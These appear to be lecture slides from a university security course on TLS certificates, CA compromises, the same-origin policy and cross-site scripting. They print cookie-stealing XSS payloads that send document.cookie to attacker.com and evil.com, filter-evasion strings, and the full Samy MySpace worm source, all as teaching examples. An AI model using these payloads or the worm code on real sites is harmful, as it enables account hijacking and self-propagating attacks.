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Announcements / Plan

• Monday (2/20): No class
• Wednesday (2/22): Zoom
• Friday (2/24): Guest Lecture: Alex Gantman

(Qualcomm) (On Zoom)
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Review: SSL/TLS High Level

• SSL/TLS consists of two protocols
– Familiar pattern for key exchange protocols

• Handshake protocol
– Use public-key cryptography to establish a shared secret key between 

the client and the server

• Record protocol
– Use the secret symmetric key established in the handshake protocol to 

protect communication between the client and the server
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Review: Example of a Certificate
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• Single CA certifying every public key is impractical
• Instead, use a trusted root authority (e.g., Verisign)

– Everybody must know the root’s public key
– Instead of single cert, use a certificate chain

• sigVerisign(“AnotherCA”, PKAnotherCA),                                        
sigAnotherCA(“Alice”, PKA)

– Not shown in figure but important:
• Signed as part of each cert is whether                                                                       

party is a CA or not

– What happens if root authority is ever compromised?

Review: Hierarchical Approach
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Review: Trusted(?) Certificate Authorities
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Many Challenges… 

• Hash collisions
• Weak security at CAs

– Allows attackers to issue rogue certificates

• Users don’t notice when attacks happen
– We’ll talk more about this later in the course

• How do you revoke certificates?
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Colliding Certificates
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Attacking CAs

Security of DigiNotar servers:
• All core certificate servers 

controlled by a single admin 
password (Pr0d@dm1n)

• Software on public-facing 
servers out of date, unpatched

• No anti-virus (could have 
detected attack)



Consequences

• Attacker needs to first divert users to an attacker-controlled 
site instead of Google, Yahoo, Skype, but then…
– For example, use DNS to poison the mapping of mail.yahoo.com to 

an IP address

• … “authenticate” as the real site
• … decrypt all data sent by users

– Email, phone conversations, Web browsing
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More Rogue Certs

• In Jan 2013, a rogue *.google.com certificate was issued by an 
intermediate CA that gained its authority from the Turkish root CA 
TurkTrust
– TurkTrust accidentally issued intermediate CA certs to customers who 

requested regular certificates
– Ankara transit authority used its certificate to issue a fake *.google.com

certificate in order to filter SSL traffic from its network

• This rogue *.google.com certificate was trusted by every browser in 
the world

• There are plenty more stories like this…
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Certificate Revocation

• Revocation is very important
• Many valid reasons to revoke a certificate

– Private key corresponding to the certified public key has been compromised
– User stopped paying their certification fee to this CA and CA no longer wishes 

to certify them
– CA’s private key has been compromised!

• Expiration is a form of revocation, too
– Many deployed systems don’t bother with revocation
– Re-issuance of certificates is a big revenue source for certificate authorities
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Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
– CA periodically issues a signed list of revoked certificates

• Credit card companies used to issue thick books of canceled credit card numbers

– Can issue a “delta CRL” containing only updates

• Online revocation service
– When a certificate is presented, recipient goes to a special online service 

to verify whether it is still valid
• Like a merchant dialing up the credit card processor
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Attempt to Fix CA Problems:

Certificate Transparency
• Problem: browsers will think nothing is wrong with a rogue 

certificate until revoked
• Goal: make it impossible for a CA to issue a bad certificate 

for a domain without the owner of that domain knowing
• Approach: auditable certificate logs

– Certificates published in public logs
– Public logs checked for unexpected certificates

www.certificate-transparency.org
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Attempt to Fix CA Problems:

Certificate Pinning

• Trust on first access: tells browser how to act on subsequent 
connections

• HPKP – HTTP Public Key Pinning
– Use these keys!
– HTTP response header field “Public-Key-Pins”

• HSTS – HTTP Strict Transport Security
– Only access server via HTTPS 
– HTTP response header field "Strict-Transport-Security"
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Network

Big Picture: Browser and Network
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Where Does the Attacker Live?
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Two Sides of Web Security

(1) Web browser
– Responsible for securely confining content presented by visited 

websites

(2) Web applications
– Online merchants, banks, blogs, Google Apps …
– Mix of server-side and client-side code

• Server-side code written in PHP, JavaScript, C++ etc.
• Client-side code written in JavaScript (… sort of)

– Many potential bugs: XSS, XSRF, SQL injection
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But at least 3 actors!
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Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages 
– Simultaneously
– Sequentially

• Safe delegation
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Browser Security Model

Goal 1: Protect local system from web attacker
 Browser Sandbox

Goal 2: Protect/isolate web content from other web content
Same Origin Policy
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Browser Sandbox

Goals: (1) Protect local system from web attacker; (2) Protect websites 
from each other

– E.g., safely execute JavaScript provided by a website
– No direct file access, limited access to OS, network, browser data, content 

from other websites
– Tabs (new(ish): also iframes!) in their own processes
– Implementation is browser and OS specific* 

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md
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From Chrome Bug Bounty Program

https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md


Same Origin Policy
Goal: Protect/isolate web content from other web content
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Website origin = (scheme, domain, port)

[Example from Wikipedia]



Same Origin Policy is Subtle!

• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
– DOM / HTML Elements
– Navigation
– Cookie Reading
– Cookie Writing
– Iframes vs. Scripts
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HTML + DOM + JavaScript
<html> <body>
<h1>This is the title</h1>
<div>
<p>This is a sample page.</p>
<script>alert(“Hello world”);</script>
<iframe src=“http://example.com”>
</iframe>
</div>
</body> </html>
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Same-Origin Policy: DOM

Only code from same origin can access HTML 
elements on another site (or in an iframe).
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www.bank.com

www.bank.com/ 
iframe.html

www.evil.com

www.bank.com/ 
iframe.html

www.bank.com (the parent) can
access HTML elements in the 

iframe (and vice versa).

www.evil.com (the parent) 
cannot access HTML elements 
in the iframe (and vice versa).

<html> <body>
<iframe
src=“http://www.bank.com/iframe.html”>

</iframe>
</body> </html>

http://www.example.com/
http://www.example.com/iframe.html
http://www.example.com/iframe.html
http://www.evil.com/
http://www.example.com/iframe.html
http://www.example.com/iframe.html
http://www.example.com/
http://www.evil.com/


Browser Cookies
• HTTP is stateless protocol
• Browser cookies are used to introduce state

– Websites can store small amount of info in browser
– Used for authentication, personalization, tracking…
– Cookies are often secrets
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Browser
Server

POST login.php
username and pwd

GET restricted.html
Cookie: login_token=13579

HTTP Header: Set-cookie:
login_token=13579;
domain = (who can read) ;
expires = (when expires)



Same Origin Policy: Cookie Reading

• Websites can only read/receive cookies from the same 
domain
– Can’t steal login token for another site 
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www.email.com

www.ad.com

Email.com’s
Server

Ad.com’s
Server

www.email.com’s
cookie

www.ad.com’s
cookie

http://www.bar.com/
http://www.foo.com/


Same-Origin Policy: Scripts

• When a website includes a script, that script runs 
in the context of the embedding website.

• If code in script sets cookie, under what origin will it be set? 
• What could possibly go wrong…?

www.example.com

<script 
src=”http://otherdomain
.com/library.js">
</script>

The code from 
http://otherdomain.com
can access HTML elements 
and cookies on 
www.example.com.

CSE 484 - Winter 2023

http://www.example.com/
http://otherdomain.com/
http://www.example.com/


Foreshadowing: 
SOP Does Not Control Sending

• A webpage can send information to any site
• Can use this to send out secrets…
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Example: Cookie Theft

• Cookies often contain authentication token   
– Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
<a href="#" 
onclick="window.location='http://attacker.com/steal.php?cookie=’+document.cookie; return 
false;">Click here!</a>

• Aside: Cookie theft via network eavesdropping
– Cookies included in HTTP requests
– One of the reasons HTTPS is important!
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Stepping Back

• Browser security model
– Same origin policy: isolate web content from different domains
– Later: More on browser sandbox, and isolation for plugins and 

extensions

• Web application security (next + Lab2)
– How (not) to build a secure website
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Web Application Security:
How (Not) to Build a Secure Website
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Dynamic Web Application
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OWASP Top 10 Web Vulnerabilities (5/2021)

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
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http://www.owasp.org

http://www.owasp.org/


Cross-Site Scripting
(XSS)
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PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code

<input value=<?php echo $myvalue; ?>>

• Can embed variables in double-quote strings
$user = “world”; echo “Hello $user!”;

or $user = “world”; echo “Hello” . $user . “!”;

• Form data in global arrays $_GET, $_POST, …
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Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term=“Example 484 Project Ideas?”

search.php responds with
<html> <title>Search results</title>

<body>You have searched for <?php echo $_GET[term] ?>… </body>
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Echoing / “Reflecting” User Input
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naive.com/hello.php?name=User

Welcome, dear User

naive.com/hello.php?name= <img
src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/39/Yos
hiMarioParty9.png/210px-YoshiMarioParty9.png’>

Welcome, dear

http://www.cs.washington.edu/homes/yoshi/support/kohno-stairs2.jpg
http://www.cs.washington.edu/homes/yoshi/support/kohno-stairs2.jpg


Cross-Site Scripting (XSS)

5/4/2018 CSE 484 / CSE M 584 - Autumn 2020 42

victim’s browser

naive.comevil.com

Access some web page

<iframe src=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.php?
cookie=”+document.cookie) 
</script>>

Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”

GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.php?cookie=”+
document.cookie)</script> hello.php

executed

<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.php?cookie=”
+document.cookie)</script>
Welcome!</HTML>

Interpreted as JavaScript 
by victim’s browser; 
opens window and calls 
steal.cgi on evil.com

GET/ steal.php?cookie=

hello.php



Basic Pattern for Reflected XSS
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Attack server

Server victim 
User victim

1

2

5

Injected script can manipulate 
website to show bogus information, 
leak sensitive data, cause user’s 
browser to attack other websites. 
This violates the “spirit” of the same 
origin policy!



Reflected XSS

• User is tricked into visiting an honest website
– Phishing email, link in a banner ad

• Bug in website code causes it to echo to the user’s browser an 
arbitrary attack script
– The origin of this script is now the website itself!

• Script can manipulate website contents (DOM) to show bogus 
information, request sensitive data, control form fields on this 
page and linked pages, cause user’s browser to attack other 
websites
– This violates the “spirit” of the same origin policy
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Stored XSS
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Attack server
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Inject 
malicious 
script

1

Store bad stuff

Users view or 
download content



Where Malicious Scripts Lurk

• User-created content
– Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content 
and visitor’s browser executes the script
– Many sites try to filter out scripts from user content, but this is 

difficult!
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Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed 
before it is used inside HTML

• Remove / encode HTML special characters
– Use a good escaping library

• OWASP ESAPI (Enterprise Security API)
• Microsoft’s AntiXSS

– In PHP, htmlspecialchars(string) will replace all special characters 
with their HTML codes

• ‘ becomes &#039;  “ becomes &quot;  & becomes &amp;
– In ASP.NET, Server.HtmlEncode(string)
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Evading Ad Hoc XSS Filters
• Preventing injection of scripts into HTML is hard!  Use standard 

APIs
– Blocking “<” and “>” is not enough
– Event handlers, stylesheets, encoded inputs (%3C), etc.
– phpBB allowed simple HTML tags like <b>

<b c=“>” onmouseover=“script” x=“<b ”>Hello<b>

• Beware of filter evasion tricks (XSS Cheat Sheet)
– If filter allows quoting (of <script>, etc.), beware of malformed quoting:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

– Long UTF-8 encoding
– Scripts are not only in <script>:

<iframe src=‘https://bank.com/login’ onload=‘steal()’>
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MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML

– No <script>, <body>, onclick, <a href=javascript://>
• … but does allow <div> tags for CSS.

– <div style=“background:url(‘javascript:alert(1)’)”>
• But MySpace will strip out “javascript”

– Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes

– Convert from decimal instead: 
alert('double quote: ' + String.fromCharCode(34))
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https://samy.pl/myspace/tech.html

https://samy.pl/myspace/tech.html


MySpace Worm (2)
Resulting code:

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function 
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!
M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new 
String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-
1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return 
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-
urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' 
value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var
Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new 
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var
AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var
AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new 
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Myt
oken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new 
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=pro
file.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpS
end2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function 
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to 
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function 
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return 
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-
form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
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MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means 
a straight forward process, and none of this was meant to cause any damage or [make 
anyone angry]. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page
• Everybody who visits an infected page, becomes infected and adds “samy” 

as a friend and hero
• 5 hours later “samy” has 1,005,831 friends

– Was adding 1,000 friends 
per second at its peak
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